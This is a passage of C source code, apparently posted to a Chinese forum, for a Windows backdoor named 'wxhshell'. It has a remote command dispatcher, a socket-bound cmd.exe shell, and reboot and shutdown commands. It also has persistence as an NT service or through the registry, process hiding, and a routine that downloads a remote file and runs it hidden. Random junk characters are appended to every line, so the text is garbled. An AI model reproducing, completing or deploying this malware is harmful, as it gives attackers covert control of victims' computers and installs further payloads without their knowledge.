  // 帮助 Qj3UO]>  
  case '?': { QRt(?96  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eZ  ]6 Q  
    break; "q]v2t  
  } u45e>F=  
  // 安装 V|b?H6Q  
  case 'i': { \a|gzC1G  
    if(Install()) 2.; OHQTE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .l#Pmd!  
    else r2U2pAy#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I -;JDC?  
    break; qD`')=  
    } @6t3Us~/  
  // 卸载 Zsf<)Vx  
  case 'r': { /B}]{bcp$  
    if(Uninstall()) Fb-NG.Z#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LM*9b  
    else CR, Y%0vQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a?+) K  
    break; tK8\Ib J  
    } E}" &? oY  
  // 显示 wxhshell 所在路径 %M'"%Yn@(y  
  case 'p': { X}p4yR7'  
    char svExeFile[MAX_PATH]; N<:Ra~Ay  
    strcpy(svExeFile,"\n\r"); &;%+Hduc  
      strcat(svExeFile,ExeFile); ~ZvZ k  
        send(wsh,svExeFile,strlen(svExeFile),0); 39k P)cD  
    break; nz>A\H  
    } $dwv1@M2  
  // 重启 %iJ6;V 4  
  case 'b': { r-[z!S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (<8T*Xo  
    if(Boot(REBOOT)) ?w<x_Lo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *NXwllrci  
    else { ;#f%vs>Y7i  
    closesocket(wsh); faMUd#o&  
    ExitThread(0); *23  
    } q)@.f.  
    break; R` X$@iM  
    } .cu5h   
  // 关机 9N'$Y*. d<  
  case 'd': { qTffh{q V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dB_\,%vAd  
    if(Boot(SHUTDOWN)) ]FFU,me2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Ee0S8!Z!1  
    else { 2<B+ID3qv  
    closesocket(wsh); RA\H?1;8C  
    ExitThread(0); e3(0L I  
    } n,AN&BZ  
    break; ^//N-?Fx  
    } u2Rmp4]  
  // 获取shell (:[><-h.  
  case 's': { zIdQ^vm8Q  
    CmdShell(wsh); *>\RGL;]8  
    closesocket(wsh); Z;%qpsq  
    ExitThread(0); yM#W,@  
    break; ~t#'X8.)  
  } [r]USCq  
  // 退出 9Ft)VX  
  case 'x': { 59EAqz[:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o'H$g%  
    CloseIt(wsh); FWD9!M K  
    break; )hQ`l d7B  
    } mTs[3opg  
  // 离开 c4; `3  
  case 'q': { ]v9<^!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HP?e?3.T  
    closesocket(wsh); A:p0p^*  
    WSACleanup(); 071w o7  
    exit(1); XeZv%` ?  
    break; PE4{;|a }  
        } [{Y$]3?}  
  } KNK0w5  
  } ("{AY?{{  
$s) ^zm~  
  // 提示信息 Xf#;GYO|2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LW2Sko?Yo  
} xJO[pT v  
  } G`)I _uO  
[&Qrk8EN  
  return; nQ/ha9v=n  
} kB~ :HQf  
XPY66VC&_  
// shell模块句柄 k@wT,?kD  
int CmdShell(SOCKET sock) 9Y/c<gbY  
{ MJ7!f+!5  
STARTUPINFO si; <p<gx*%  
ZeroMemory(&si,sizeof(si)); z?yADYr9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }>h?W1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >i=O =w  
PROCESS_INFORMATION ProcessInfo; B!8]\D  
char cmdline[]="cmd"; [IHT)%>E8&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !_c<j4O  
  return 0; 6.By)L  
} @<w$QD  
?.,cWKGQ}  
// 自身启动模式 A\:=p  
int StartFromService(void) h~nl  
{ ^pg5o)M  
typedef struct Mr`u!T&sc  
{ 4y P $l  
  DWORD ExitStatus; !Ug J^v  
  DWORD PebBaseAddress; b$B5sKQ  
  DWORD AffinityMask; }}Q|O]e  
  DWORD BasePriority; S&R~*  
  ULONG UniqueProcessId; 1nvs51?H  
  ULONG InheritedFromUniqueProcessId; 6*]Kow?  
}   PROCESS_BASIC_INFORMATION; $?'z%a{  
778L[wYe  
PROCNTQSIP NtQueryInformationProcess; UQTt;RS*zS  
bJe^x;J9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Fd ]! 7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g0ug:- R  
4q~l ?*S  
  HANDLE             hProcess; nkG 6.  
  PROCESS_BASIC_INFORMATION pbi; Tl25t^Y  
0<o#;ZQ]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1`h`-dqr#  
  if(NULL == hInst ) return 0; OCR x|  
KK7Y"~ 9&-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o+q 5:vJt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;f6G&>p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 38  B\ \  
F1/f:<}  
  if (!NtQueryInformationProcess) return 0; Ozn7C?\*  
#xts*{u-#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .11iulQ  
  if(!hProcess) return 0; m_St"`6 .  
< 27e7H*6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (s"_NUj6  
E8?Q>%_  
  CloseHandle(hProcess); BD9` +9  
.$?s :t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 27 Lya!/  
if(hProcess==NULL) return 0; [#14atv  
f\|33)k  
HMODULE hMod; GR|Vwxs<@P  
char procName[255]; p 6jR,m8S  
unsigned long cbNeeded; i:W oT4  
YF."D%?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K=!J=R;  
G\Sd!'?p  
  CloseHandle(hProcess); w8@ Ok_fj  
wV U(Du  
if(strstr(procName,"services")) return 1; // 以服务启动 q>H!?zi\Hy  
(}Gl'.>\M  
  return 0; // 注册表启动 LkNfcBa_  
} W_M]fjL.  
EJL45R>  
// 主模块 iVmf/N@A|  
int StartWxhshell(LPSTR lpCmdLine) f2yc]I<lr~  
{ b7"pm)6  
  SOCKET wsl; SHh g&~B  
BOOL val=TRUE; N*@bJ*0  
  int port=0; *d(wO l5[  
  struct sockaddr_in door; a{]1H4+bQ  
hBN!!a|l  
  if(wscfg.ws_autoins) Install(); Iy e  
_|~2i1 Ms,  
port=atoi(lpCmdLine); LsBDfp5/  
drN^-e  
if(port<=0) port=wscfg.ws_port; 8zZR %fZ  
<G6wpf8M  
  WSADATA data; <Z#u_:5@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~;U!?  
&_!BMzp4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >~XX'}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o F @{&  
  door.sin_family = AF_INET; >Z>*Iz,LP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #7'ww*+  
  door.sin_port = htons(port); rWa7"<`p  
$\0j:<o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :X@;XEol~  
closesocket(wsl); >5]Xl*{H)  
return 1; m>UJ; F  
} EStHl(DUPq  
f~"3#MaV  
  if(listen(wsl,2) == INVALID_SOCKET) { ZXr]V'Q?  
closesocket(wsl); +5^*c^C  
return 1; o#w6]Fmc  
} AKL~F|t  
  Wxhshell(wsl); 3,iL#_+t  
  WSACleanup(); x\t>|DB  
'OJXllGi  
return 0; b6g,mzqu  
0MPsF{Xw[  
} ]=h Ts%]w  
A6#ob  
// 以NT服务方式启动 }V9146  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kv)LH{  
{ <pi q?:ac  
DWORD   status = 0; l65'EO|  
  DWORD   specificError = 0xfffffff; ]4hXK!^Uu  
,[~Ydth  
  serviceStatus.dwServiceType     = SERVICE_WIN32; to,=Q8 )0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G::6?+S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g]jtVQH']  
  serviceStatus.dwWin32ExitCode     = 0; kqHh@]Z0'  
  serviceStatus.dwServiceSpecificExitCode = 0; Zwq uS9  
  serviceStatus.dwCheckPoint       = 0; 8l)l9;4 6  
  serviceStatus.dwWaitHint       = 0; b8QW^Z  
5%G++oLXf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $\a;?>WA"  
  if (hServiceStatusHandle==0) return; Bt.W_p  
=U@*adgw  
status = GetLastError(); q9Fc0(&Vf  
  if (status!=NO_ERROR) ")Bf^DV  
{ }rGDM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]`u{^f  
    serviceStatus.dwCheckPoint       = 0; z<@$$Z=0UF  
    serviceStatus.dwWaitHint       = 0; i*2z7MY  
    serviceStatus.dwWin32ExitCode     = status; f+/^1~^  
    serviceStatus.dwServiceSpecificExitCode = specificError; -3KB:K<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 21cIWvy  
    return; 2|Tt3/Rn  
  } ,PIdPaV--  
/G84T,H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; So!1l7b  
  serviceStatus.dwCheckPoint       = 0; iY( hGlV  
  serviceStatus.dwWaitHint       = 0; G+5G,|}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P.[>x  
} ~=#jO0dE|  
-=g`7^qa>  
// 处理NT服务事件,比如:启动、停止 HWe.|fH:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3V,X=  
{ yy #Xs:/  
switch(fdwControl) c#G(7.0MU  
{ %\- +SeC  
case SERVICE_CONTROL_STOP: ]enqkiS  
  serviceStatus.dwWin32ExitCode = 0; !!` zz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2$3BluK  
  serviceStatus.dwCheckPoint   = 0; Mzb_o2^(  
  serviceStatus.dwWaitHint     = 0; gXf_~zxS  
  { gR?3)m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `SIJszqc  
  } Xe+Hez,  
  return; /M'b137  
case SERVICE_CONTROL_PAUSE: m"v` E7G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ufo- AeQo  
  break; V=S`%1dLN  
case SERVICE_CONTROL_CONTINUE: BkO"{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j^64:3  
  break; t+?\4+!<  
case SERVICE_CONTROL_INTERROGATE: o-x_[I|@  
  break; }]?RngTt  
}; <F!:dyl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1B WuFYB  
} +{#BQbx6  
Q'\jm=k  
// 标准应用程序主函数 $G=\i>R.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _abVX#5<  
{ hSg: Rqnk  
^_<pc|1  
// 获取操作系统版本 IA+>dr  
OsIsNt=GetOsVer(); E!Ng=}G&_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 33u7  
QZwRg&d<o  
  // 从命令行安装 cBm3|@7  
  if(strpbrk(lpCmdLine,"iI")) Install(); }!.7QpA$  
-(1e!5_-@  
  // 下载执行文件 ltD:w{PO]  
if(wscfg.ws_downexe) { ,2?C^gxt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) esLY1c%"/  
  WinExec(wscfg.ws_filenam,SW_HIDE); W C`1;(#G  
} >U) ,^H(  
j5ui  
if(!OsIsNt) { n_c0=YH  
// 如果时win9x,隐藏进程并且设置为注册表启动 Lnj5EY er  
HideProc(); 3@}_ F<"*  
StartWxhshell(lpCmdLine); c=| a\\  
} *Pq`~W_M7  
else >#8`Zy:/Y  
  if(StartFromService()) 1 9)78kV{  
  // 以服务方式启动 Q!|71{5U  
  StartServiceCtrlDispatcher(DispatchTable); n*;mFV0s  
else 16aaIK  
  // 普通方式启动 .y'OoDe  
  StartWxhshell(lpCmdLine); K}$PIW  
ev+N KUi=  
return 0; XRNL;X%}7  
}
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只看该作者 1 发表于: 2006-10-10
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